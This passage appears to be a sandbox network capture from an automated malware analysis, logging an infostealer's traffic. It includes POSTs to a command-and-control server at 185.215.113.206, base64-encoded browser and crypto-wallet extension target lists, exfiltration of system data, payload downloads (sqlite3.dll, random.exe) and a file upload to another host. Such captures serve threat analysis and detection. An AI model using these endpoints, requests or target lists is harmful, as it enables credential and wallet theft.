name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="message"browsers------JEGHCBAFBFHIIECBKFCG--
Nov 21, 2024 03:09:50.581589937 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 03:09:50.581695080 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 03:09:50.582926989 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"plugins------DHIDHIEGIIIECAKEBFBA--
Nov 21, 2024 03:09:51.057534933 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 03:09:51.057589054 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 21, 2024 03:09:51.057601929 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 21, 2024 03:09:51.057720900 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 21, 2024 03:09:51.057733059 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 21, 2024 03:09:51.057744980 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 21, 2024 03:09:51.142987013 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="message"fplugins------CGHCFBAAAFHJDGCBFIIJ--
Nov 21, 2024 03:09:51.639471054 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 03:09:51.700545073 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 185.215.113.206 Content-Length: 7147 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 03:09:51.700634003 CET	7147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 03:09:52.741309881 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:09:53.093163967 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:09:53.550832033 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 21, 2024 03:09:53.550930977 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 21, 2024 03:09:53.554994106 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 21, 2024 03:09:53.555857897 CET	1236	IN	Data Raw: 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 04 02 00 00 00 89 34 24 e8 07 f6 0a 00 83 ec 0c 89 c5 e9 bb fe ff ff 8d Data Ascii: \|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRRt$xga$a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49924	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:53.982316017 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007823001&unit=246122658369
Nov 21, 2024 03:09:55.725323915 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49932	34.116.198.130	80	1272	C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:55.865441084 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------BOpxR0RDfJueCCutCBYDD0 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 4f 70 78 52 30 52 44 66 4a 75 65 43 43 75 74 43 42 59 44 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 7a 65 7a 61 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f7 f8 55 6a 07 55 c2 9b 62 07 94 99 6f 8e b3 83 10 5c 1c 5a 0c 72 a9 73 d4 1c 84 6d 78 64 49 e8 2c b1 5a fe 89 65 52 4a 56 f3 a1 66 bf fc f6 2a 18 18 68 2b 91 06 15 fd 6d 07 2e d0 2d 78 4f 4f 85 a8 4b 7d f7 56 2a 18 03 4a e0 14 cf 50 e4 c9 45 9c 5a 82 d4 4a ef ba 26 15 26 ad 98 44 91 d9 b3 73 14 1b 15 f2 5f a1 d7 ad 50 90 d6 12 a6 c1 52 cb c6 d7 0e 35 94 12 46 b4 33 13 af ac 3f c1 5e 58 d2 16 7a 0b 5a 8b 8d 21 fb 50 fa 6c dd 60 ec c5 03 01 36 a2 84 cc b1 fe f8 58 57 ed 94 52 5b 44 73 f7 3a a9 d3 7a 43 27 07 e5 ca 44 6d bc 09 [TRUNCATED] Data Ascii: --------------------------BOpxR0RDfJueCCutCBYDD0Content-Disposition: form-data; name="file"; filename="Wezezah.bin"Content-Type: application/octet-streamUjUbo\ZrsmxdI,ZeRJVfh+m.-xOOK}VJPEZJ&&Ds_PR5F3?^XzZ!Pl`6XWR[Ds:zC'DmWXKMO9U^C I!Jzlv;PjlnAApUe0}--------------------------BOpxR0RDfJueCCutCBYDD0--
Nov 21, 2024 03:09:57.327004910 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 02:09:57 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49931	185.215.113.16	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:55.925247908 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 03:09:57.235047102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:56 GMT Content-Type: application/octet-stream Content-Length: 2813440 Last-Modified: Thu, 21 Nov 2024 02:00:55 GMT Connection: keep-alive ETag: "673e9457-2aee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 d1 63 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +c+`Ui` @ @.rsrc`2@.idata 8@dgdiyami*:@siwuhmix @+@.taggant@`+"*@
